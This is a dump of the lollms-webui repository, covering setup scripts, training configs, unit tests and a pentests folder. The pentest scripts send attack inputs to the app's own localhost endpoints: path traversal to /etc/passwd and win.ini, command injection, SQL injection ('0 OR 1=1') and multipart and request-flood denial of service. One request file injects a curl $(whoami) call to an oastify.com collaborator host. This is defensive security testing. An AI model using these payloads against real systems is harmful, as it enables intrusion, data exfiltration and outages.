| echo Checking if WSL 2 is installed... 13 | wsl --set-default-version 2 >nul 2>&1 14 | if %errorlevel% neq 0 ( 15 | echo WSL 2 is not installed. Installing it... 16 | wsl --install 17 | echo WSL 2 installation complete. 18 | ) else ( 19 | echo WSL 2 is already installed. 20 | ) 21 | 22 | pause -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | from typing import Union 3 | 4 | import setuptools 5 | 6 | with open("README.md", "r") as fh: 7 | long_description = fh.read() 8 | 9 | 10 | def read_requirements(path: Union[str, Path]): 11 | with open(path, "r") as file: 12 | return file.read().splitlines() 13 | 14 | 15 | requirements = read_requirements("requirements.txt") 16 | requirements_dev = read_requirements("requirements_dev.txt") 17 | 18 | setuptools.setup( 19 | name="Lollms-webui", 20 | version="5.0.2", 21 | author="Saifeddine ALOUI", 22 | author_email="aloui.saifeddine@gmail.com", 23 | description="A web ui for running chat models with different bindings. Supports multiple personalities and extensions.", 24 | long_description=long_description, 25 | long_description_content_type="text/markdown", 26 | url="https://github.com/ParisNeo/lollms-webui", 27 | packages=setuptools.find_packages(), 28 | install_requires=requirements, 29 | extras_require={"dev": requirements_dev}, 30 | classifiers=[ 31 | "Programming Language :: Python :: 3.10", 32 | "License :: OSI Approved :: Apache 2.0 License", 33 | "Operating System :: OS Independent", 34 | ], 35 | ) 36 | -------------------------------------------------------------------------------- /tailwind.config.js: -------------------------------------------------------------------------------- 1 | // tailwind.config.js 2 | module.exports = { 3 | purge: [], 4 | darkMode: 'media', // or 'media' or 'class' 5 | theme: { 6 | extend: {}, 7 | }, 8 | content: [ 9 | './templates/index.html', 10 | './templates/main.html', 11 | ] 12 | } -------------------------------------------------------------------------------- /tests/pentests/code_injection/test_code_injection.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | from fastapi.testclient import TestClient 4 | from main import app # Replace with the actual name of your FastAPI app 5 | 6 | client = TestClient(app) 7 | 8 | 9 | def test_open_code_in_vs_code_valid(): 10 | response = client.post( 11 | "/open_code_in_vs_code", 12 | data=json.dumps( 13 | {"discussion_id": 1, "message_id": 1, "code": "print('Hello, World!')"} 14 | ), 15 | headers={"content-type": "application/json"}, 16 | ) 17 | assert response.status_code == 200 18 | assert response.json()["status"] == True 19 | 20 | 21 | def test_open_code_in_vs_code_invalid(): 22 | response = client.post( 23 | "/open_code_in_vs_code", 24 | data=json.dumps( 25 | { 26 | "discussion_id": "1; copy file.exe /some/path/", 27 | "message_id": "1", 28 | "code": "print('Hello, World!')", 29 | } 30 | ), 31 | headers={"content-type": "application/json"}, 32 | ) 33 | assert response.status_code == 422 # Unprocessable Entity 34 | 35 | 36 | def test_open_code_in_vs_code_attack(): 37 | response = client.post( 38 | "/open_code_in_vs_code", 39 | data=json.dumps( 40 | { 41 | "discussion_id": 1, 42 | "message_id": 1, 43 | "code": "print('This is a harmless test.')", # Dangerous code 44 | } 45 | ), 46 | headers={"content-type": "application/json"}, 47 | ) 48 | assert response.status_code == 200 49 | assert response.json()["status"] == False # The code should not be executed 50 | -------------------------------------------------------------------------------- /tests/pentests/local_file_inclusion/lfi_test.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | # URL of your API endpoint 4 | url = "http://localhost:9600/user_infos/" 5 | 6 | # Attempt to access etc/passwd 7 | payload = {"path": "../../../../etc/passwd"} 8 | 9 | response = requests.get(url, params=payload) 10 | 11 | print(f"Response status: {response.status_code}") 12 | print(f"Response body: {response.text}") 13 | -------------------------------------------------------------------------------- /tests/pentests/multipart_dos/dos_attack.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 25 |
26 | 27 |
28 | 29 | 30 | -------------------------------------------------------------------------------- /tests/pentests/multipart_dos/multiparts_dos.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | num = 5000000 4 | url = "http://localhost:9600/upload_app" 5 | headers = { 6 | "Content-Type": "multipart/form-data; boundary=---------------------------284178091740602105783377960069" 7 | } 8 | 9 | # The exact raw payload as specified 10 | data = ( 11 | "-----------------------------284178091740602105783377960069\r\n" 12 | 'Content-Disposition: form-data; name="uploadFile"; filename="test.txt"\r\n' 13 | "Content-Type: text/plain\r\n\r\n" 14 | "Hello I am test\r\n" 15 | "-----------------------------284178091740602105783377960069--" + "4" * num + "\r\n" 16 | ) 17 | 18 | response = requests.post(url, headers=headers, data=data.encode("utf-8"), verify=False) 19 | 20 | print(response.status_code) 21 | print(response.text) 22 | -------------------------------------------------------------------------------- /tests/pentests/multipart_dos/test_upload.txt: -------------------------------------------------------------------------------- 1 | This is a test file for uploading. -------------------------------------------------------------------------------- /tests/pentests/path_traversal/open_code_folder_vulenerability.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | # Set the URL of the endpoint 4 | url = "http://localhost:9600/open_discussion_folder" 5 | 6 | # Valid folder path 7 | valid_folder_path = {"folder_path": "c:"} 8 | 9 | # Non-valid executable file path 10 | non_valid_file_path = {"folder_path": "c:/file.exe"} 11 | 12 | # Send the valid folder path request 13 | valid_response = requests.post(url, json=valid_folder_path) 14 | print(valid_response.json()) 15 | 16 | # Send the non-valid executable file path request 17 | non_valid_response = requests.post(url, json=non_valid_file_path) 18 | print(non_valid_response.json()) 19 | -------------------------------------------------------------------------------- /tests/pentests/path_traversal/open_code_in_vs_code_vulenerability.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | url = "http://localhost:9600/open_code_in_vs_code" 4 | 5 | # Valid request 6 | valid_payload = {"discussion_id": "0", "message_id": "0", "code": "print('test')"} 7 | response = requests.post(url, json=valid_payload) 8 | print("Valid request response:", response.json()) 9 | 10 | # Invalid request 11 | invalid_payload = { 12 | "discussion_id": "../invalid_discussion", 13 | "message_id": "../invalid_message", 14 | "code": "print('test')", 15 | } 16 | response = requests.post(url, json=invalid_payload) 17 | print("Invalid request response:", response.json()) 18 | -------------------------------------------------------------------------------- /tests/pentests/path_traversal/open_file_vulenerability.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import requests 4 | 5 | 6 | def test_vulnerabilities(): 7 | """ 8 | This function tests for two vulnerabilities in the '/open_file' endpoint. 9 | 1. Path Traversal vulnerability: It attempts to access sensitive files by providing a payload with multiple "../" to traverse directories. 10 | 2. Command Injection vulnerability: It attempts to execute additional commands by appending a payload with "&&" and an echo statement. 11 | 12 | :return: None 13 | """ 14 | # Test path traversal vulnerability 15 | payload = "../../../../../../../../../../etc/passwd" 16 | url = "http://localhost:9600/open_file" 17 | data = {"path": payload} 18 | 19 | response = requests.post(url, json=data) 20 | if response.status_code == 200: 21 | if "root:x" in response.text: 22 | print("Path Traversal vulnerability found!") 23 | else: 24 | print("Path Traversal vulnerability not found.") 25 | else: 26 | print("Error: ", response.status_code) 27 | 28 | # Test command injection vulnerability 29 | payload = "&& echo 'Command Injection Test'" 30 | data = {"path": payload} 31 | 32 | response = requests.post(url, json=data) 33 | if response.status_code == 200: 34 | if "Command Injection Test" in response.text: 35 | print("Command Injection vulnerability found!") 36 | else: 37 | print("Command Injection vulnerability not found.") 38 | else: 39 | print("Error: ", response.status_code) 40 | 41 | 42 | # Call the test function 43 | test_vulnerabilities() 44 | -------------------------------------------------------------------------------- /tests/pentests/path_traversal/pentests.http: -------------------------------------------------------------------------------- 1 | GET /user_infos//Windows/win.ini HTTP/1.1 2 | Host: 127.0.0.1:9600 3 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 4 | -------------------------------------------------------------------------------- /tests/pentests/path_traversal/user_infos.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | import requests 4 | 5 | 6 | class TestUserInfosEndpoint(unittest.TestCase): 7 | def setUp(self): 8 | self.base_url = "http://127.0.0.1:9600" 9 | 10 | def test_user_infos_endpoint(self): 11 | print("Testing user_infos endpoint...") 12 | 13 | # Test valid path 14 | print("Testing valid path...") 15 | valid_path = "0dbb0245-7b6b-4834-835d-4d9d460b336c.png" 16 | response = requests.get(f"{self.base_url}/user_infos/{valid_path}") 17 | self.assertEqual(response.status_code, 200) 18 | print(f"Status code: {response.status_code} (expected: 200)\n") 19 | 20 | # Test path starting with a double slash 21 | print("Testing path starting with a double slash...") 22 | invalid_path = "//Windows/win.ini" 23 | response = requests.get(f"{self.base_url}/user_infos/{invalid_path}") 24 | print(f"Response content: {response.content}\n") 25 | self.assertEqual(response.status_code, 400) 26 | print(f"Status code: {response.status_code} (expected: 400)\n") 27 | 28 | # Test path containing suspicious patterns 29 | print("Testing path containing suspicious patterns...") 30 | suspicious_path = "../../etc/passwd" 31 | response = requests.get(f"{self.base_url}/user_infos/{suspicious_path}") 32 | print(f"Response content: {response.content}\n") 33 | self.assertEqual(response.status_code, 400) 34 | print(f"Status code: {response.status_code} (expected: 400)\n") 35 | 36 | 37 | if __name__ == "__main__": 38 | unittest.main() 39 | -------------------------------------------------------------------------------- /tests/pentests/service_denial/test_service_denial.py: -------------------------------------------------------------------------------- 1 | """ 2 | This python script is performing a Denial of Service (DoS) attack on your endpoint. 3 | It is creating a large number of requests (1000 in this case) to the '/open_discussion_folder' API endpoint of your server. 4 | This could potentially overload your server, making it unable to serve normal, legitimate requests. 5 | 6 | Please make sure you test this only on a virtual machine since it can overload your own PC and crush it 7 | """ 8 | 9 | import requests 10 | 11 | IP_ADDRESS = "localhost" 12 | PORT = 9600 13 | 14 | for i in range(1000): 15 | data = { 16 | "discussion_id": f"{i}", 17 | } 18 | response = requests.post( 19 | f"http://{IP_ADDRESS}:{str(PORT)}/open_discussion_folder", json=data 20 | ) 21 | print(i, response.json()) 22 | -------------------------------------------------------------------------------- /tests/pentests/sql_injection/test_sql_injection.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | IP_ADDRESS = "https://localhost" # replace me 4 | PORT = 9600 5 | 6 | data = {"id": "0 OR 1=1", "client_id": 0} 7 | response = requests.post( 8 | f"http://{IP_ADDRESS}:{str(PORT)}/delete_discussion", json=data 9 | ) 10 | print(response.json()) 11 | -------------------------------------------------------------------------------- /tests/pentests/test.txt: -------------------------------------------------------------------------------- 1 | this is a test file to simulate an attack on lollms avatar -------------------------------------------------------------------------------- /tests/pentests/test_sanitize/test.py: -------------------------------------------------------------------------------- 1 | import re 2 | from pathlib import Path 3 | 4 | import pytest 5 | from ascii_colors import ASCIIColors 6 | from fastapi import HTTPException 7 | 8 | 9 | def sanitize_path_from_endpoint( 10 | path: str, 11 | error_text="A suspected LFI attack detected. The path sent to the server has suspicious elements in it!", 12 | exception_text="Invalid path!", 13 | ): 14 | if path.strip().startswith("/"): 15 | raise HTTPException(status_code=400, detail=exception_text) 16 | # Fix the case of "/" at the beginning on the path 17 | if path is None: 18 | return path 19 | 20 | # Regular expression to detect patterns like "...." and multiple forward slashes 21 | suspicious_patterns = re.compile(r"(\.\.+)|(/+/)") 22 | 23 | if suspicious_patterns.search(path) or Path(path).is_absolute(): 24 | ASCIIColors.error(error_text) 25 | raise HTTPException(status_code=400, detail=exception_text) 26 | 27 | path = path.lstrip("/") 28 | return path 29 | 30 | 31 | def test_sanitize_path_from_endpoint(): 32 | # Test a valid path 33 | valid_path = "example/path" 34 | assert sanitize_path_from_endpoint(valid_path) == "example/path" 35 | 36 | # Test a path with suspicious elements 37 | suspicious_path = "/D:/POC/secret.txt" 38 | 39 | # suspicious_path = "/images//D:/POC/secret.txt" 40 | with pytest.raises(HTTPException): 41 | sanitize_path_from_endpoint(suspicious_path) 42 | 43 | # Add more test cases as needed 44 | 45 | 46 | if __name__ == "__main__": 47 | test_sanitize_path_from_endpoint() 48 | -------------------------------------------------------------------------------- /tests/pentests/tests.http: -------------------------------------------------------------------------------- 1 | ############################################ 2 | ### Load Discussion by ID 3 | ############################################ 4 | POST http://localhost:9600/open_file 5 | Content-Type: application/json 6 | 7 | { 8 | "client_id":"5tp76HAcZWvKry3VAAAD", 9 | "path":"/home/kali/huntr/discussion_databases/default/1/text_data/hai`curl $(whoami).9dnvxt2tdxl52lmfk6ejf0c6qxwpkf84.oastify.com`.txt" 10 | } -------------------------------------------------------------------------------- /tests/unitary_tests/test_app.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from app_old import app 3 | 4 | 5 | @pytest.fixture 6 | def client(): 7 | with app.test_client() as client: 8 | yield client 9 | 10 | 11 | def test_homepage(client): 12 | response = client.get("/") 13 | assert response.status_code == 200 14 | assert b"Welcome to my Flask app" in response.data 15 | -------------------------------------------------------------------------------- /tests/unitary_tests/test_chat_interface.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import requests 4 | 5 | url = "http://localhost:1234/v1/chat/completions" 6 | 7 | payload = { 8 | "messages": [ 9 | { 10 | "role": "system", 11 | "content": "You are a research engineer specialized in the applications of AI in robotics.", 12 | }, 13 | { 14 | "role": "user", 15 | "content": "What are some popular AI frameworks for robotics?", 16 | }, 17 | ], 18 | "max_tokens": 100, 19 | "temperature": 0.5, 20 | } 21 | 22 | headers = {"Content-Type": "application/json"} 23 | 24 | response = requests.post(url, data=json.dumps(payload), headers=headers) 25 | 26 | if response.status_code == 200: 27 | data = response.json() 28 | print(data) 29 | completion = data["choices"][0]["message"]["content"] 30 | print(completion) 31 | else: 32 | print("Error:", response.status_code) 33 | -------------------------------------------------------------------------------- /tests/unitary_tests/test_chat_interface_streaming.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import requests 4 | 5 | url = "http://localhost:1234/v1/chat/completions" 6 | 7 | payload = { 8 | "messages": [ 9 | { 10 | "role": "system", 11 | "content": "You are a research engineer specialized in the applications of AI in robotics.", 12 | }, 13 | { 14 | "role": "user", 15 | "content": "List a number of libraries I can use for robotics.", 16 | }, 17 | ], 18 | "max_tokens": 100, 19 | "temperature": 0.5, 20 | "stream": True, 21 | } 22 | 23 | headers = {"Content-Type": "application/json"} 24 | 25 | response = requests.post(url, data=json.dumps(payload), headers=headers, stream=True) 26 | 27 | if response.status_code == 200: 28 | for response_chunk in response.iter_lines(): 29 | if response_chunk: 30 | rc = response_chunk.decode() 31 | rc = json.loads(rc) 32 | print(rc["choices"][0]["delta"]["content"]) 33 | else: 34 | print("Error:", response.status_code) 35 | -------------------------------------------------------------------------------- /tests/unitary_tests/test_chat_interface_streaming2.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import requests 4 | 5 | url = "http://localhost:1234/lollms_generate" 6 | 7 | payload = {"prompt": "Once apon a time, ", "temperature": 0.1, "stream": True} 8 | 9 | headers = {"Content-Type": "application/json"} 10 | 11 | response = requests.post(url, data=json.dumps(payload), headers=headers, stream=True) 12 | 13 | if response.status_code == 200: 14 | for response_chunk in response.iter_lines(): 15 | if response_chunk: 16 | rc = response_chunk.decode() 17 | print(rc, end="", flush=True) 18 | else: 19 | print("Error:", response.status_code) 20 | -------------------------------------------------------------------------------- /tests/unitary_tests/test_delete_message.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import requests 4 | 5 | url = "http://localhost:9600/delete_message" 6 | 7 | payload = {"client_id": "test", "id": 283} 8 | 9 | headers = {"accept": "application/json", "Content-Type": "application/json"} 10 | 11 | response = requests.post(url, headers=headers, data=json.dumps(payload)) 12 | 13 | print(response.text) 14 | -------------------------------------------------------------------------------- /train/.gitignore: -------------------------------------------------------------------------------- 1 | output 2 | !output/.keep -------------------------------------------------------------------------------- /train/configs/deepspeed/ds_config.yaml: -------------------------------------------------------------------------------- 1 | { 2 | "train_batch_size": "auto", 3 | "gradient_accumulation_steps": "auto", 4 | "train_micro_batch_size_per_gpu": "auto", 5 | "fp16": { 6 | "enabled": "auto", 7 | "min_loss_scale": 1, 8 | "loss_scale_window": 1000, 9 | "hysteresis": 2, 10 | "initial_scale_power": 32 11 | }, 12 | "bf16": { 13 | "enabled": "auto" 14 | }, 15 | "gradient_clipping": 1, 16 | "zero_optimization": { 17 | "stage": 2, 18 | "offload_param": { 19 | "device": "none" 20 | }, 21 | "offload_optimizer": { 22 | "device": "none" 23 | }, 24 | "allgather_partitions": true, 25 | "allgather_bucket_size": 5e8, 26 | "contiguous_gradients": true 27 | }, 28 | "optimizer": { 29 | "type": "AdamW", 30 | "params": { 31 | "lr": "auto", 32 | "betas": [ 33 | 0.9, 34 | 0.999 35 | ], 36 | "eps": 1e-08 37 | } 38 | }, 39 | "scheduler": { 40 | "type": "WarmupLR", 41 | "params": { 42 | "warmup_min_lr": 0, 43 | "warmup_max_lr": "auto", 44 | "warmup_num_steps": "auto", 45 | "warmup_type": "linear" 46 | } 47 | } 48 | } -------------------------------------------------------------------------------- /train/configs/train/.gitignore: -------------------------------------------------------------------------------- 1 | local_cfg.yaml -------------------------------------------------------------------------------- /train/configs/train/finetune.yaml: -------------------------------------------------------------------------------- 1 | # model/tokenizer 2 | model_name: # add model here 3 | tokenizer_name: # add model here 4 | gradient_checkpointing: true 5 | save_name: # CHANGE 6 | 7 | # dataset 8 | streaming: false 9 | num_proc: 64 10 | dataset_path: # update 11 | max_length: 1024 12 | batch_size: 32 13 | 14 | # train dynamics 15 | lr: 5.0e-5 16 | eval_every: 800 17 | eval_steps: 100 18 | save_every: 800 19 | output_dir: # CHANGE 20 | checkpoint: null 21 | lora: false 22 | warmup_steps: 100 23 | num_epochs: 2 24 | 25 | # logging 26 | wandb: true 27 | wandb_entity: # update 28 | wandb_project_name: # update 29 | seed: 42 30 | -------------------------------------------------------------------------------- /train/configs/train/finetune_lora.yaml: -------------------------------------------------------------------------------- 1 | # model/tokenizer 2 | model_name: # update 3 | tokenizer_name: # update 4 | gradient_checkpointing: false 5 | save_name: # CHANGE 6 | 7 | # dataset 8 | streaming: false 9 | num_proc: 64 10 | dataset_path: # CHANGE 11 | max_length: 1024 12 | batch_size: 4 13 | 14 | # train dynamics 15 | lr: 5.0e-5 16 | min_lr: 0 17 | weight_decay: 0.0 18 | eval_every: 2000 19 | eval_steps: 100 20 | save_every: 2000 21 | output_dir: # CHANGE 22 | checkpoint: null 23 | lora: true 24 | warmup_steps: 100 25 | num_epochs: 2 26 | 27 | # logging 28 | wandb: true 29 | wandb_entity: # update 30 | wandb_project_name: # update 31 | seed: 42 32 | -------------------------------------------------------------------------------- /train/configs/train/finetune_lora_ airoboros-7b-gpt4.yaml: -------------------------------------------------------------------------------- 1 | # model/tokenizer 2 | model_name: jondurbin/airoboros-7b-gpt4 # update 3 | tokenizer_name: jondurbin/airoboros-7b-gpt4 # update 4 | gradient_checkpointing: false 5 | save_name: parisneo-7b_gpt42_lora # CHANGE 6 | 7 | # dataset 8 | streaming: false 9 | num_proc: 64 10 | dataset_path: # CHANGE 11 | max_length: 1024 12 | batch_size: 4 13 | 14 | # train dynamics 15 | lr: 5.0e-5 16 | min_lr: 0 17 | weight_decay: 0.0 18 | eval_every: 2000 19 | eval_steps: 100 20 | save_every: 2000 21 | output_dir: output # CHANGE 22 | checkpoint: null 23 | lora: true 24 | warmup_steps: 100 25 | num_epochs: 2 26 | 27 | # logging 28 | wandb: false # update if you want to use weights and biases 29 | wandb_entity: # update 30 | wandb_project_name: # update 31 | seed: 42 32 | -------------------------------------------------------------------------------- /train/requirements.txt: -------------------------------------------------------------------------------- 1 | accelerate 2 | datasets 3 | torchmetrics 4 | evaluate 5 | transformers>=4.28.0 6 | wandb 7 | pip 8 | peft 9 | nodelist-inflator 10 | deepspeed 11 | sentencepiece 12 | jsonlines 13 | nomic 14 | scikit-learn 15 | matplotlib -------------------------------------------------------------------------------- /utilities/execution_engines/assets/mermaid_container.html: -------------------------------------------------------------------------------- 1 |
2 | 20 |
21 | 22 | 23 | 24 | 25 |
26 |
27 |
28 | {{mermaid}} 29 |
30 |
31 | 32 | 33 | 49 |
50 |
51 | 52 |
53 | -------------------------------------------------------------------------------- /web/.env: -------------------------------------------------------------------------------- 1 | VITE_LOLLMS_API = http://localhost:9600 # http://localhost:9600 2 | VITE_LOLLMS_API_CHANGE_ORIGIN = 0 # FALSE 3 | VITE_LOLLMS_API_SECURE = 0 # FALSE 4 | VITE_LOLLMS_API_BASEURL = / 5 | -------------------------------------------------------------------------------- /web/.eslintrc.cjs: -------------------------------------------------------------------------------- 1 | /* eslint-env node */ 2 | require('@rushstack/eslint-patch/modern-module-resolution') 3 | 4 | module.exports = { 5 | root: true, 6 | 'extends': [ 7 | 'plugin:vue/vue3-essential', 8 | 'eslint:recommended', 9 | '@vue/eslint-config-prettier/skip-formatting' 10 | ], 11 | parserOptions: { 12 | ecmaVersion: 'latest' 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /web/.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | .DS_Store 12 | dist-ssr 13 | coverage 14 | *.local 15 | 16 | /cypress/videos/ 17 | /cypress/screenshots/ 18 | 19 | # Editor directories and files 20 | .vscode 21 | !.vscode/extensions.json 22 | .idea 23 | *.suo 24 | *.ntvs* 25 | *.njsproj 26 | *.sln 27 | *.sw? 28 | 29 | # REST Client files (VSCODE extension for making GET POST requests easy and fst from text files) 30 | *.http 31 | -------------------------------------------------------------------------------- /web/.prettierrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://json.schemastore.org/prettierrc", 3 | "semi": false, 4 | "tabWidth": 2, 5 | "singleQuote": true, 6 | "printWidth": 100, 7 | "trailingComma": "none" 8 | } -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_AMS-Regular-BQhdFMY1.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_AMS-Regular-BQhdFMY1.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_AMS-Regular-DMm9YOAa.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_AMS-Regular-DMm9YOAa.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_AMS-Regular-DRggAlZN.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_AMS-Regular-DRggAlZN.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Caligraphic-Bold-ATXxdsX0.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Caligraphic-Bold-ATXxdsX0.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Caligraphic-Bold-BEiXGLvX.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Caligraphic-Bold-BEiXGLvX.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Caligraphic-Bold-Dq_IR9rO.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Caligraphic-Bold-Dq_IR9rO.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Caligraphic-Regular-CTRA-rTL.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Caligraphic-Regular-CTRA-rTL.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Caligraphic-Regular-Di6jR-x-.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Caligraphic-Regular-Di6jR-x-.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Caligraphic-Regular-wX97UBjC.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Caligraphic-Regular-wX97UBjC.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Fraktur-Bold-BdnERNNW.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Fraktur-Bold-BdnERNNW.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Fraktur-Bold-BsDP51OF.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Fraktur-Bold-BsDP51OF.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Fraktur-Bold-CL6g_b3V.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Fraktur-Bold-CL6g_b3V.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Fraktur-Regular-CB_wures.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Fraktur-Regular-CB_wures.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Fraktur-Regular-CTYiF6lA.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Fraktur-Regular-CTYiF6lA.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Fraktur-Regular-Dxdc4cR9.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Fraktur-Regular-Dxdc4cR9.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Bold-Cx986IdX.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Bold-Cx986IdX.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Bold-Jm3AIy58.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Bold-Jm3AIy58.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Bold-waoOVXN0.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Bold-waoOVXN0.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-BoldItalic-DxDJ3AOS.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-BoldItalic-DxDJ3AOS.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-BoldItalic-DzxPMmG6.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-BoldItalic-DzxPMmG6.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-BoldItalic-SpSLRI95.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-BoldItalic-SpSLRI95.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Italic-3WenGoN9.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Italic-3WenGoN9.ttf -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Italic-BMLOBm91.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Italic-BMLOBm91.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Italic-NWA7e6Wa.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Italic-NWA7e6Wa.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Regular-B22Nviop.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Regular-B22Nviop.woff2 -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Regular-Dr94JaBh.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParisNeo/lollms-webui/7f94f941ac4c55520add2ac503a8d722a9588bf3/web/dist/assets/KaTeX_Main-Regular-Dr94JaBh.woff -------------------------------------------------------------------------------- /web/dist/assets/KaTeX_Main-Regular-ypZvNtVU.ttf: -------------------------------------------------------------------------------- 